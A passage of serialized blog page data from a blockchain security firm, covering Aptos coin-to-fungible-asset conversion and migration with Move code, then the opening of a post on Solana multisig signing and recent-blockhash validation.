",{"type":23,"tag":154,"props":68863,"children":68865},{"className":68864},[],[68866],{"type":29,"value":63028},{"type":29,"value":68868}," is not allowed.",{"type":23,"tag":4743,"props":68870,"children":68872},{"className":5009,"code":68871,"language":5008,"meta":7,"style":7},"public fun coin_to_fungible_asset\u003CCoinType>(\n    coin: Coin\u003CCoinType>\n): FungibleAsset acquires CoinConversionMap, CoinInfo {\n    let metadata = ensure_paired_metadata\u003CCoinType>();\n    let amount = burn_internal(coin);\n    fungible_asset::mint_internal(metadata, amount)\n}\n",[68873],{"type":23,"tag":154,"props":68874,"children":68875},{"__ignoreMap":7},[68876,68904,68931,68967,69000,69033,69069],{"type":23,"tag":504,"props":68877,"children":68878},{"class":5016,"line":5017},[68879,68883,68887,68892,68896,68900],{"type":23,"tag":504,"props":68880,"children":68881},{"style":5041},[68882],{"type":29,"value":63737},{"type":23,"tag":504,"props":68884,"children":68885},{"style":5041},[68886],{"type":29,"value":8252},{"type":23,"tag":504,"props":68888,"children":68889},{"style":5041},[68890],{"type":29,"value":68891}," coin_to_fungible_asset",{"type":23,"tag":504,"props":68893,"children":68894},{"style":5058},[68895],{"type":29,"value":2658},{"type":23,"tag":504,"props":68897,"children":68898},{"style":5467},[68899],{"type":29,"value":8627},{"type":23,"tag":504,"props":68901,"children":68902},{"style":5058},[68903],{"type":29,"value":8632},{"type":23,"tag":504,"props":68905,"children":68906},{"class":5016,"line":4868},[68907,68911,68915,68919,68923,68927],{"type":23,"tag":504,"props":68908,"children":68909},{"style":5041},[68910],{"type":29,"value":63247},{"type":23,"tag":504,"props":68912,"children":68913},{"style":5047},[68914],{"type":29,"value":6533},{"type":23,"tag":504,"props":68916,"children":68917},{"style":5467},[68918],{"type":29,"value":7847},{"type":23,"tag":504,"props":68920,"children":68921},{"style":5058},[68922],{"type":29,"value":2658},{"type":23,"tag":504,"props":68924,"children":68925},{"style":5467},[68926],{"type":29,"value":8627},{"type":23,"tag":504,"props":68928,"children":68929},{"style":5058},[68930],{"type":29,"value":8038},{"type":23,"tag":504,"props":68932,"children":68933},{"class":5016,"line":4876},[68934,68938,68942,68946,68950,68955,68959,68963],{"type":23,"tag":504,"props":68935,"children":68936},{"style":5058},[68937],{"type":29,"value":933},{"type":23,"tag":504,"props":68939,"children":68940},{"style":5047},[68941],{"type":29,"value":6533},{"type":23,"tag":504,"props":68943,"children":68944},{"style":5467},[68945],{"type":29,"value":63602},{"type":23,"tag":504,"props":68947,"children":68948},{"style":5041},[68949],{"type":29,"value":9611},{"type":23,"tag":504,"props":68951,"children":68952},{"style":5467},[68953],{"type":29,"value":68954}," CoinConversionMap",{"type":23,"tag":504,"props":68956,"children":68957},{"style":5058},[68958],{"type":29,"value":4367},{"type":23,"tag":504,"props":68960,"children":68961},{"style":5467},[68962],{"type":29,"value":8757},{"type":23,"tag":504,"props":68964,"children":68965},{"style":5058},[68966],{"type":29,"value":5333},{"type":23,"tag":504,"props":68968,"children":68969},{"class":5016,"line":5099},[68970,68974,68979,68983,68988,68992,68996],{"type":23,"tag":504,"props":68971,"children":68972},{"style":5030},[68973],{"type":29,"value":5033},{"type":23,"tag":504,"props":68975,"children":68976},{"style":5041},[68977],{"type":29,"value":68978}," metadata",{"type":23,"tag":504,"props":68980,"children":68981},{"style":5047},[68982],{"type":29,"value":5050},{"type":23,"tag":504,"props":68984,"children":68985},{"style":5041},[68986],{"type":29,"value":68987}," ensure_paired_metadata",{"type":23,"tag":504,"props":68989,"children":68990},{"style":5058},[68991],{"type":29,"value":2658},{"type":23,"tag":504,"props":68993,"children":68994},{"style":5467},[68995],{"type":29,"value":8627},{"type":23,"tag":504,"props":68997,"children":68998},{"style":5058},[68999],{"type":29,"value":10497},{"type":23,"tag":504,"props":69001,"children":69002},{"class":5016,"line":5203},[69003,69007,69012,69016,69021,69025,69029],{"type":23,"tag":504,"props":69004,"children":69005},{"style":5030},[69006],{"type":29,"value":5033},{"type":23,"tag":504,"props":69008,"children":69009},{"style":5041},[69010],{"type":29,"value":69011}," amount",{"type":23,"tag":504,"props":69013,"children":69014},{"style":5047},[69015],{"type":29,"value":5050},{"type":23,"tag":504,"props":69017,"children":69018},{"style":5139},[69019],{"type":29,"value":69020}," burn_internal",{"type":23,"tag":504,"props":69022,"children":69023},{"style":5058},[69024],{"type":29,"value":603},{"type":23,"tag":504,"props":69026,"children":69027},{"style":5041},[69028],{"type":29,"value":62995},{"type":23,"tag":504,"props":69030,"children":69031},{"style":5058},[69032],{"type":29,"value":5888},{"type":23,"tag":504,"props":69034,"children":69035},{"class":5016,"line":5308},[69036,69040,69044,69049,69053,69057,69061,69065],{"type":23,"tag":504,"props":69037,"children":69038},{"style":5058},[69039],{"type":29,"value":68023},{"type":23,"tag":504,"props":69041,"children":69042},{"style":5047},[69043],{"type":29,"value":5530},{"type":23,"tag":504,"props":69045,"children":69046},{"style":5139},[69047],{"type":29,"value":69048},"mint_internal",{"type":23,"tag":504,"props":69050,"children":69051},{"style":5058},[69052],{"type":29,"value":603},{"type":23,"tag":504,"props":69054,"children":69055},{"style":5041},[69056],{"type":29,"value":64374},{"type":23,"tag":504,"props":69058,"children":69059},{"style":5058},[69060],{"type":29,"value":4367},{"type":23,"tag":504,"props":69062,"children":69063},{"style":5041},[69064],{"type":29,"value":22359},{"type":23,"tag":504,"props":69066,"children":69067},{"style":5058},[69068],{"type":29,"value":5200},{"type":23,"tag":504,"props":69070,"children":69071},{"class":5016,"line":5336},[69072],{"type":23,"tag":504,"props":69073,"children":69074},{"style":5058},[69075],{"type":29,"value":5965},{"type":23,"tag":32,"props":69077,"children":69078},{},[69079,69081,69088],{"type":29,"value":69080},"When creating a fungible asset, several pieces of information are required, such as the asset’s name, symbol, or maximum supply. During our audit of the fungible asset standard, we ",{"type":23,"tag":68,"props":69082,"children":69085},{"href":69083,"rel":69084},"https://github.com/aptos-labs/aptos-core/commit/e5f4b62b237dad4d15069d3bb0b551b2df04bf08",[72],[69086],{"type":29,"value":69087},"noticed an overlooked detail",{"type":29,"value":69089}," in the linking process.",{"type":23,"tag":4743,"props":69091,"children":69093},{"className":5009,"code":69092,"language":5008,"meta":7,"style":7},"[...]\nprimary_fungible_store::create_primary_store_enabled_fungible_asset(\n    &metadata_object_cref,\n    option::map(coin_supply\u003CCoinType>(), |_| MAX_U128),\n    name\u003CCoinType>(),\n    symbol\u003CCoinType>(),\n    decimals\u003CCoinType>(),\n    string::utf8(b\"\"),\n    string::utf8(b\"\"),\n);\n[...]\n",[69094],{"type":23,"tag":154,"props":69095,"children":69096},{"__ignoreMap":7},[69097,69112,69132,69149,69205,69226,69246,69266,69296,69323,69330],{"type":23,"tag":504,"props":69098,"children":69099},{"class":5016,"line":5017},[69100,69104,69108],{"type":23,"tag":504,"props":69101,"children":69102},{"style":5058},[69103],{"type":29,"value":1380},{"type":23,"tag":504,"props":69105,"children":69106},{"style":5047},[69107],{"type":29,"value":853},{"type":23,"tag":504,"props":69109,"children":69110},{"style":5058},[69111],{"type":29,"value":13818},{"type":23,"tag":504,"props":69113,"children":69114},{"class":5016,"line":4868},[69115,69119,69123,69128],{"type":23,"tag":504,"props":69116,"children":69117},{"style":5058},[69118],{"type":29,"value":64671},{"type":23,"tag":504,"props":69120,"children":69121},{"style":5047},[69122],{"type":29,"value":5530},{"type":23,"tag":504,"props":69124,"children":69125},{"style":5139},[69126],{"type":29,"value":69127},"create_primary_store_enabled_fungible_asset",{"type":23,"tag":504,"props":69129,"children":69130},{"style":5058},[69131],{"type":29,"value":5512},{"type":23,"tag":504,"props":69133,"children":69134},{"class":5016,"line":4876},[69135,69140,69145],{"type":23,"tag":504,"props":69136,"children":69137},{"style":5047},[69138],{"type":29,"value":69139},"    &",{"type":23,"tag":504,"props":69141,"children":69142},{"style":5041},[69143],{"type":29,"value":69144},"metadata_object_cref",{"type":23,"tag":504,"props":69146,"children":69147},{"style":5058},[69148],{"type":29,"value":5557},{"type":23,"tag":504,"props":69150,"children":69151},{"class":5016,"line":5099},[69152,69157,69161,69166,69170,69175,69179,69183,69188,69192,69196,69200],{"type":23,"tag":504,"props":69153,"children":69154},{"style":5058},[69155],{"type":29,"value":69156},"    option",{"type":23,"tag":504,"props":69158,"children":69159},{"style":5047},[69160],{"type":29,"value":5530},{"type":23,"tag":504,"props":69162,"children":69163},{"style":5139},[69164],{"type":29,"value":69165},"map",{"type":23,"tag":504,"props":69167,"children":69168},{"style":5058},[69169],{"type":29,"value":603},{"type":23,"tag":504,"props":69171,"children":69172},{"style":5041},[69173],{"type":29,"value":69174},"coin_supply",{"type":23,"tag":504,"props":69176,"children":69177},{"style":5058},[69178],{"type":29,"value":2658},{"type":23,"tag":504,"props":69180,"children":69181},{"style":5467},[69182],{"type":29,"value":8627},{"type":23,"tag":504,"props":69184,"children":69185},{"style":5058},[69186],{"type":29,"value":69187},">(), ",{"type":23,"tag":504,"props":69189,"children":69190},{"style":5047},[69191],{"type":29,"value":12462},{"type":23,"tag":504,"props":69193,"children":69194},{"style":5041},[69195],{"type":29,"value":627},{"type":23,"tag":504,"props":69197,"children":69198},{"style":5047},[69199],{"type":29,"value":12462},{"type":23,"tag":504,"props":69201,"children":69202},{"style":5058},[69203],{"type":29,"value":69204}," MAX_U128),\n",{"type":23,"tag":504,"props":69206,"children":69207},{"class":5016,"line":5203},[69208,69213,69217,69221],{"type":23,"tag":504,"props":69209,"children":69210},{"style":5041},[69211],{"type":29,"value":69212},"    name",{"type":23,"tag":504,"props":69214,"children":69215},{"style":5058},[69216],{"type":29,"value":2658},{"type":23,"tag":504,"props":69218,"children":69219},{"style":5467},[69220],{"type":29,"value":8627},{"type":23,"tag":504,"props":69222,"children":69223},{"style":5058},[69224],{"type":29,"value":69225},">(),\n",{"type":23,"tag":504,"props":69227,"children":69228},{"class":5016,"line":5308},[69229,69234,69238,69242],{"type":23,"tag":504,"props":69230,"children":69231},{"style":5041},[69232],{"type":29,"value":69233},"    symbol",{"type":23,"tag":504,"props":69235,"children":69236},{"style":5058},[69237],{"type":29,"value":2658},{"type":23,"tag":504,"props":69239,"children":69240},{"style":5467},[69241],{"type":29,"value":8627},{"type":23,"tag":504,"props":69243,"children":69244},{"style":5058},[69245],{"type":29,"value":69225},{"type":23,"tag":504,"props":69247,"children":69248},{"class":5016,"line":5336},[69249,69254,69258,69262],{"type":23,"tag":504,"props":69250,"children":69251},{"style":5041},[69252],{"type":29,"value":69253},"    decimals",{"type":23,"tag":504,"props":69255,"children":69256},{"style":5058},[69257],{"type":29,"value":2658},{"type":23,"tag":504,"props":69259,"children":69260},{"style":5467},[69261],{"type":29,"value":8627},{"type":23,"tag":504,"props":69263,"children":69264},{"style":5058},[69265],{"type":29,"value":69225},{"type":23,"tag":504,"props":69267,"children":69268},{"class":5016,"line":5349},[69269,69274,69278,69283,69287,69292],{"type":23,"tag":504,"props":69270,"children":69271},{"style":5058},[69272],{"type":29,"value":69273},"    string",{"type":23,"tag":504,"props":69275,"children":69276},{"style":5047},[69277],{"type":29,"value":5530},{"type":23,"tag":504,"props":69279,"children":69280},{"style":5139},[69281],{"type":29,"value":69282},"utf8",{"type":23,"tag":504,"props":69284,"children":69285},{"style":5058},[69286],{"type":29,"value":603},{"type":23,"tag":504,"props":69288,"children":69289},{"style":6297},[69290],{"type":29,"value":69291},"b\"\"",{"type":23,"tag":504,"props":69293,"children":69294},{"style":5058},[69295],{"type":29,"value":8780},{"type":23,"tag":504,"props":69297,"children":69298},{"class":5016,"line":5367},[69299,69303,69307,69311,69315,69319],{"type":23,"tag":504,"props":69300,"children":69301},{"style":5058},[69302],{"type":29,"value":69273},{"type":23,"tag":504,"props":69304,"children":69305},{"style":5047},[69306],{"type":29,"value":5530},{"type":23,"tag":504,"props":69308,"children":69309},{"style":5139},[69310],{"type":29,"value":69282},{"type":23,"tag":504,"props":69312,"children":69313},{"style":5058},[69314],{"type":29,"value":603},{"type":23,"tag":504,"props":69316,"children":69317},{"style":6297},[69318],{"type":29,"value":69291},{"type":23,"tag":504,"props":69320,"children":69321},{"style":5058},[69322],{"type":29,"value":8780},{"type":23,"tag":504,"props":69324,"children":69325},{"class":5016,"line":5388},[69326],{"type":23,"tag":504,"props":69327,"children":69328},{"style":5058},[69329],{"type":29,"value":5888},{"type":23,"tag":504,"props":69331,"children":69332},{"class":5016,"line":5397},[69333,69337,69341],{"type":23,"tag":504,"props":69334,"children":69335},{"style":5058},[69336],{"type":29,"value":1380},{"type":23,"tag":504,"props":69338,"children":69339},{"style":5047},[69340],{"type":29,"value":853},{"type":23,"tag":504,"props":69342,"children":69343},{"style":5058},[69344],{"type":29,"value":13818},{"type":23,"tag":32,"props":69346,"children":69347},{},[69348,69350,69355],{"type":29,"value":69349},"When the linked fungible asset was created, the current ",{"type":23,"tag":154,"props":69351,"children":69353},{"className":69352},[],[69354],{"type":29,"value":63028},{"type":29,"value":69356}," supply was incorrectly passed as the maximum fungible asset supply, preventing the minting of additional fungible assets beyond the existing coin circulation.",{"type":23,"tag":32,"props":69358,"children":69359},{},[69360,69362,69367,69369,69375,69377,69382],{"type":29,"value":69361},"Users can manually migrate their ",{"type":23,"tag":154,"props":69363,"children":69365},{"className":69364},[],[69366],{"type":29,"value":63190},{"type":29,"value":69368}," to a primary fungible store. This creates a store for the paired fungible asset (if one doesn’t exist) and removes the ",{"type":23,"tag":154,"props":69370,"children":69372},{"className":69371},[],[69373],{"type":29,"value":69374},"\u003CCoinStore\u003CCoinType>>",{"type":29,"value":69376}," from the caller. All coins in the ",{"type":23,"tag":154,"props":69378,"children":69380},{"className":69379},[],[69381],{"type":29,"value":63190},{"type":29,"value":69383}," are exchanged and transferred to the new store during the migration.",{"type":23,"tag":4743,"props":69385,"children":69387},{"className":5009,"code":69386,"language":5008,"meta":7,"style":7},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\npublic entry fun migrate_to_fungible_store\u003CCoinType>(\n    account: &signer\n) acquires CoinStore, CoinConversionMap, CoinInfo {\n    maybe_convert_to_fungible_store\u003CCoinType>(signer::address_of(account));\n}\n",[69388],{"type":23,"tag":154,"props":69389,"children":69390},{"__ignoreMap":7},[69391,69399,69431,69451,69487,69528],{"type":23,"tag":504,"props":69392,"children":69393},{"class":5016,"line":5017},[69394],{"type":23,"tag":504,"props":69395,"children":69396},{"style":5021},[69397],{"type":29,"value":69398},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\n",{"type":23,"tag":504,"props":69400,"children":69401},{"class":5016,"line":4868},[69402,69406,69410,69414,69419,69423,69427],{"type":23,"tag":504,"props":69403,"children":69404},{"style":5041},[69405],{"type":29,"value":63737},{"type":23,"tag":504,"props":69407,"children":69408},{"style":5041},[69409],{"type":29,"value":64704},{"type":23,"tag":504,"props":69411,"children":69412},{"style":5041},[69413],{"type":29,"value":8252},{"type":23,"tag":504,"props":69415,"children":69416},{"style":5041},[69417],{"type":29,"value":69418}," migrate_to_fungible_store",{"type":23,"tag":504,"props":69420,"children":69421},{"style":5058},[69422],{"type":29,"value":2658},{"type":23,"tag":504,"props":69424,"children":69425},{"style":5467},[69426],{"type":29,"value":8627},{"type":23,"tag":504,"props":69428,"children":69429},{"style":5058},[69430],{"type":29,"value":8632},{"type":23,"tag":504,"props":69432,"children":69433},{"class":5016,"line":4876},[69434,69438,69442,69446],{"type":23,"tag":504,"props":69435,"children":69436},{"style":5041},[69437],{"type":29,"value":27224},{"type":23,"tag":504,"props":69439,"children":69440},{"style":5047},[69441],{"type":29,"value":6533},{"type":23,"tag":504,"props":69443,"children":69444},{"style":5047},[69445],{"type":29,"value":9185},{"type":23,"tag":504,"props":69447,"children":69448},{"style":5041},[69449],{"type":29,"value":69450},"signer\n",{"type":23,"tag":504,"props":69452,"children":69453},{"class":5016,"line":5099},[69454,69458,69462,69466,69470,69475,69479,69483],{"type":23,"tag":504,"props":69455,"children":69456},{"style":5058},[69457],{"type":29,"value":5128},{"type":23,"tag":504,"props":69459,"children":69460},{"style":5041},[69461],{"type":29,"value":8389},{"type":23,"tag":504,"props":69463,"children":69464},{"style":5467},[69465],{"type":29,"value":63211},{"type":23,"tag":504,"props":69467,"children":69468},{"style":5058},[69469],{"type":29,"value":4367},{"type":23,"tag":504,"props":69471,"children":69472},{"style":5467},[69473],{"type":29,"value":69474},"CoinConversionMap",{"type":23,"tag":504,"props":69476,"children":69477},{"style":5058},[69478],{"type":29,"value":4367},{"type":23,"tag":504,"props":69480,"children":69481},{"style":5467},[69482],{"type":29,"value":8757},{"type":23,"tag":504,"props":69484,"children":69485},{"style":5058},[69486],{"type":29,"value":5333},{"type":23,"tag":504,"props":69488,"children":69489},{"class":5016,"line":5203},[69490,69495,69499,69503,69508,69512,69516,69520,69524],{"type":23,"tag":504,"props":69491,"children":69492},{"style":5041},[69493],{"type":29,"value":69494},"    maybe_convert_to_fungible_store",{"type":23,"tag":504,"props":69496,"children":69497},{"style":5058},[69498],{"type":29,"value":2658},{"type":23,"tag":504,"props":69500,"children":69501},{"style":5467},[69502],{"type":29,"value":8627},{"type":23,"tag":504,"props":69504,"children":69505},{"style":5058},[69506],{"type":29,"value":69507},">(signer",{"type":23,"tag":504,"props":69509,"children":69510},{"style":5047},[69511],{"type":29,"value":5530},{"type":23,"tag":504,"props":69513,"children":69514},{"style":5139},[69515],{"type":29,"value":9253},{"type":23,"tag":504,"props":69517,"children":69518},{"style":5058},[69519],{"type":29,"value":603},{"type":23,"tag":504,"props":69521,"children":69522},{"style":5041},[69523],{"type":29,"value":14999},{"type":23,"tag":504,"props":69525,"children":69526},{"style":5058},[69527],{"type":29,"value":9267},{"type":23,"tag":504,"props":69529,"children":69530},{"class":5016,"line":5308},[69531],{"type":23,"tag":504,"props":69532,"children":69533},{"style":5058},[69534],{"type":29,"value":5965},{"type":23,"tag":32,"props":69536,"children":69537},{},[69538,69540,69545,69547,69552],{"type":29,"value":69539},"A curious reader might wonder about the fate of the ",{"type":23,"tag":154,"props":69541,"children":69543},{"className":69542},[],[69544],{"type":29,"value":63190},{"type":29,"value":69546}," \"frozen\" status during migration. Unsurprisingly tough, the \"frozen\" status of the primary fungible store is matched to that of the ",{"type":23,"tag":154,"props":69548,"children":69550},{"className":69549},[],[69551],{"type":29,"value":63190},{"type":29,"value":69553}," to ensure consistency.",{"type":23,"tag":68248,"props":69555,"children":69556},{},[69557,69576],{"type":23,"tag":32,"props":69558,"children":69559},{},[69560,69562,69567,69569,69574],{"type":29,"value":69561},"Could an attacker convert their ",{"type":23,"tag":154,"props":69563,"children":69565},{"className":69564},[],[69566],{"type":29,"value":63190},{"type":29,"value":69568}," to a primary fungible store and then register another ",{"type":23,"tag":154,"props":69570,"children":69572},{"className":69571},[],[69573],{"type":29,"value":63190},{"type":29,"value":69575}," only to convert it again to manipulate the \"frozen\" status of the linked primary fungible store?",{"type":23,"tag":68279,"props":69577,"children":69578},{"v-slot:answer-0":7},[69579],{"type":23,"tag":32,"props":69580,"children":69581},{},[69582],{"type":29,"value":69583},"The coin::register function first checks is_account_registered, which exits early if true. is_account_registered determines if the account has a primary fungible store for the linked fungible asset when the CoinStore doesn’t exist. If the fungible store has been converted, a primary fungible store and linked fungible asset will already exist, preventing re-registration.",{"type":23,"tag":24,"props":69585,"children":69586},{"id":4832},[69587],{"type":29,"value":4835},{"type":23,"tag":32,"props":69589,"children":69590},{},[69591,69593,69598],{"type":29,"value":69592},"Aptos's implementation of fungible assets does indeed resolve the original problems with ",{"type":23,"tag":154,"props":69594,"children":69596},{"className":69595},[],[69597],{"type":29,"value":63028},{"type":29,"value":357},{"type":23,"tag":32,"props":69600,"children":69601},{},[69602],{"type":29,"value":69603},"However, this solution comes with its own challenges, in part because of the numerous layers that interact with each other. Before using the fungible asset standard, it's important to understand these different APIs and potential pitfalls.",{"type":23,"tag":32,"props":69605,"children":69606},{},[69607,69609],{"type":29,"value":69608},"As a final exercise to the reader, how many different ways are there to withdraw a fungible asset?",{"type":23,"tag":17520,"props":69610,"children":69611},{},[69612],{"type":23,"tag":68,"props":69613,"children":69615},{"href":31678,"ariaDescribedBy":69614,"dataFootnoteRef":7,"id":31680},[17527],[69616],{"type":29,"value":826},{"type":23,"tag":20472,"props":69618,"children":69620},{"className":69619,"dataFootnotes":7},[20475],[69621,69626],{"type":23,"tag":24,"props":69622,"children":69624},{"className":69623,"id":17527},[20480],[69625],{"type":29,"value":20483},{"type":23,"tag":139,"props":69627,"children":69628},{},[69629],{"type":23,"tag":143,"props":69630,"children":69631},{"id":32421},[69632,69634,69676],{"type":29,"value":69633},"There are at least four functions that can withdraw a fungible asset:",{"type":23,"tag":1022,"props":69635,"children":69636},{},[69637,69647,69656,69666],{"type":23,"tag":143,"props":69638,"children":69639},{},[69640],{"type":23,"tag":68,"props":69641,"children":69645},{"href":69642,"rel":69643,":style":69644},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/fungible_asset.move#L782",[72],"color: #007bff;",[69646],{"type":29,"value":66329},{"type":23,"tag":143,"props":69648,"children":69649},{},[69650],{"type":23,"tag":68,"props":69651,"children":69654},{"href":69652,"rel":69653,":style":69644},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/dispatchable_fungible_asset.move#L74",[72],[69655],{"type":29,"value":68269},{"type":23,"tag":143,"props":69657,"children":69658},{},[69659],{"type":23,"tag":68,"props":69660,"children":69663},{"href":69661,"rel":69662,":style":69644},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move#L157",[72],[69664],{"type":29,"value":69665},"primary_fungible_store::withdraw",{"type":23,"tag":143,"props":69667,"children":69668},{},[69669],{"type":23,"tag":68,"props":69670,"children":69673},{"href":69671,"rel":69672,":style":69644},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/coin.move#L1091-L1098",[72],[69674],{"type":29,"value":69675},"coin::withdraw",{"type":23,"tag":68,"props":69677,"children":69679},{"href":32449,"ariaLabel":20586,"className":69678,"dataFootnoteBackref":7},[20588],[69680],{"type":29,"value":20591},{"type":23,"tag":7410,"props":69682,"children":69683},{},[69684],{"type":29,"value":7414},{"title":7,"searchDepth":4868,"depth":4868,"links":69686},[69687,69688,69689,69692,69697,69698,69699,69700],{"id":63014,"depth":4868,"text":63017},{"id":63559,"depth":4868,"text":63562},{"id":64119,"depth":4868,"text":64122,"children":69690},[69691],{"id":64630,"depth":4876,"text":64633},{"id":64887,"depth":4868,"text":64890,"children":69693},[69694,69695,69696],{"id":64930,"depth":4876,"text":64933},{"id":65635,"depth":4876,"text":65638},{"id":67293,"depth":4876,"text":67296},{"id":67824,"depth":4868,"text":67827},{"id":68805,"depth":4868,"text":68808},{"id":4832,"depth":4868,"text":4835},{"id":17527,"depth":4868,"text":20483},"content:blog:2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets",{"_path":69705,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":69706,"description":69707,"date":69708,"author":7765,"image":69709,"isFeatured":15,"onBlogPage":15,"tags":69711,"body":69712,"_type":4892,"_id":71540,"_source":4894,"_file":71541,"_stem":71542,"_extension":4897},"/blog/2025-02-22-multisig-security","Solana Multisig Security","What can teams do if their multisig signers are compromised? We explore Solana's transaction signing model and present a procedure for safe signing in the presence of malicious signers on Solana.","2025-02-22",{"src":69710,"width":7430,"height":7431},"/posts/multisig-security/title.png",[4909],{"type":20,"children":69713,"toc":71531},[69714,69727,69733,69738,69744,69757,69765,69778,69838,69860,69987,69992,70005,70017,70023,70037,70050,70064,70546,70551,70559,70573,70587,70726,70738,70744,70749,70767,70772,70777,70798,71082,71097,71285,71298,71427,71432,71437,71442,71470,71476,71481,71495,71527],{"type":23,"tag":32,"props":69715,"children":69716},{},[69717,69718,69725],{"type":29,"value":18661},{"type":23,"tag":68,"props":69719,"children":69722},{"href":69720,"rel":69721},"https://www.securityalliance.org/news/2025-02-dprk-advisory",[72],[69723],{"type":29,"value":69724},"Bybit hack",{"type":29,"value":69726}," raises an interesting question: what can teams do if their signers are compromised?",{"type":23,"tag":24,"props":69728,"children":69730},{"id":69729},"solana-signatures",[69731],{"type":29,"value":69732},"Solana Signatures",{"type":23,"tag":32,"props":69734,"children":69735},{},[69736],{"type":29,"value":69737},"We first need to understand how Solana signatures work. There are two ways to sign a Solana transaction.",{"type":23,"tag":320,"props":69739,"children":69741},{"id":69740},"recent-blockhash",[69742],{"type":29,"value":69743},"Recent Blockhash",{"type":23,"tag":32,"props":69745,"children":69746},{},[69747,69749,69756],{"type":29,"value":69748},"The most straightforward is with a \"recent blockhash\". From ",{"type":23,"tag":68,"props":69750,"children":69753},{"href":69751,"rel":69752},"https://solana.com/developers/guides/advanced/confirmation",[72],[69754],{"type":29,"value":69755},"the docs",{"type":29,"value":6533},{"type":23,"tag":446,"props":69758,"children":69759},{},[69760],{"type":23,"tag":32,"props":69761,"children":69762},{},[69763],{"type":29,"value":69764},"During transaction processing, Solana Validators will check if each transaction's recent blockhash is recorded within the most recent 151 stored hashes (aka \"max processing age\"). If the transaction's recent blockhash is older than this max processing age, the transaction is not processed.",{"type":23,"tag":32,"props":69766,"children":69767},{},[69768,69770,69777],{"type":29,"value":69769},"The actual constant ",{"type":23,"tag":68,"props":69771,"children":69774},{"href":69772,"rel":69773},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/sdk/clock/src/lib.rs#L129-L130",[72],[69775],{"type":29,"value":69776},"is defined here",{"type":29,"value":357},{"type":23,"tag":4743,"props":69779,"children":69781},{"className":5009,"code":69780,"language":5008,"meta":7,"style":7},"// The maximum age of a blockhash that will be accepted by the leader\npub const MAX_PROCESSING_AGE: usize = MAX_RECENT_BLOCKHASHES / 2;\n",[69782],{"type":23,"tag":154,"props":69783,"children":69784},{"__ignoreMap":7},[69785,69793],{"type":23,"tag":504,"props":69786,"children":69787},{"class":5016,"line":5017},[69788],{"type":23,"tag":504,"props":69789,"children":69790},{"style":5021},[69791],{"type":29,"value":69792},"// The maximum age of a blockhash that will be accepted by the leader\n",{"type":23,"tag":504,"props":69794,"children":69795},{"class":5016,"line":4868},[69796,69800,69804,69809,69813,69817,69821,69826,69830,69834],{"type":23,"tag":504,"props":69797,"children":69798},{"style":5030},[69799],{"type":29,"value":15736},{"type":23,"tag":504,"props":69801,"children":69802},{"style":5030},[69803],{"type":29,"value":41167},{"type":23,"tag":504,"props":69805,"children":69806},{"style":5058},[69807],{"type":29,"value":69808}," MAX_PROCESSING_AGE",{"type":23,"tag":504,"props":69810,"children":69811},{"style":5047},[69812],{"type":29,"value":6533},{"type":23,"tag":504,"props":69814,"children":69815},{"style":5467},[69816],{"type":29,"value":15777},{"type":23,"tag":504,"props":69818,"children":69819},{"style":5047},[69820],{"type":29,"value":5050},{"type":23,"tag":504,"props":69822,"children":69823},{"style":5058},[69824],{"type":29,"value":69825}," MAX_RECENT_BLOCKHASHES ",{"type":23,"tag":504,"props":69827,"children":69828},{"style":5047},[69829],{"type":29,"value":6623},{"type":23,"tag":504,"props":69831,"children":69832},{"style":5083},[69833],{"type":29,"value":9979},{"type":23,"tag":504,"props":69835,"children":69836},{"style":5058},[69837],{"type":29,"value":5061},{"type":23,"tag":32,"props":69839,"children":69840},{},[69841,69843,69850,69852,69858],{"type":29,"value":69842},"For those curious, the logic ",{"type":23,"tag":68,"props":69844,"children":69847},{"href":69845,"rel":69846},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L61",[72],[69848],{"type":29,"value":69849},"starts here",{"type":29,"value":69851}," and is quite straightforward to follow, ending in a ",{"type":23,"tag":154,"props":69853,"children":69855},{"className":69854},[],[69856],{"type":29,"value":69857},"is_hash_index_valid",{"type":29,"value":69859}," check.",{"type":23,"tag":4743,"props":69861,"children":69863},{"className":5009,"code":69862,"language":5008,"meta":7,"style":7},"fn is_hash_index_valid(last_hash_index: u64, max_age: usize, hash_index: u64) -> bool {\n    last_hash_index - hash_index \u003C= max_age as u64\n}\n",[69864],{"type":23,"tag":154,"props":69865,"children":69866},{"__ignoreMap":7},[69867,69946,69980],{"type":23,"tag":504,"props":69868,"children":69869},{"class":5016,"line":5017},[69870,69874,69879,69883,69888,69892,69896,69900,69905,69909,69913,69917,69922,69926,69930,69934,69938,69942],{"type":23,"tag":504,"props":69871,"children":69872},{"style":5030},[69873],{"type":29,"value":22319},{"type":23,"tag":504,"props":69875,"children":69876},{"style":5139},[69877],{"type":29,"value":69878}," is_hash_index_valid",{"type":23,"tag":504,"props":69880,"children":69881},{"style":5058},[69882],{"type":29,"value":603},{"type":23,"tag":504,"props":69884,"children":69885},{"style":5041},[69886],{"type":29,"value":69887},"last_hash_index",{"type":23,"tag":504,"props":69889,"children":69890},{"style":5047},[69891],{"type":29,"value":6533},{"type":23,"tag":504,"props":69893,"children":69894},{"style":5467},[69895],{"type":29,"value":7905},{"type":23,"tag":504,"props":69897,"children":69898},{"style":5058},[69899],{"type":29,"value":4367},{"type":23,"tag":504,"props":69901,"children":69902},{"style":5041},[69903],{"type":29,"value":69904},"max_age",{"type":23,"tag":504,"props":69906,"children":69907},{"style":5047},[69908],{"type":29,"value":6533},{"type":23,"tag":504,"props":69910,"children":69911},{"style":5467},[69912],{"type":29,"value":15777},{"type":23,"tag":504,"props":69914,"children":69915},{"style":5058},[69916],{"type":29,"value":4367},{"type":23,"tag":504,"props":69918,"children":69919},{"style":5041},[69920],{"type":29,"value":69921},"hash_index"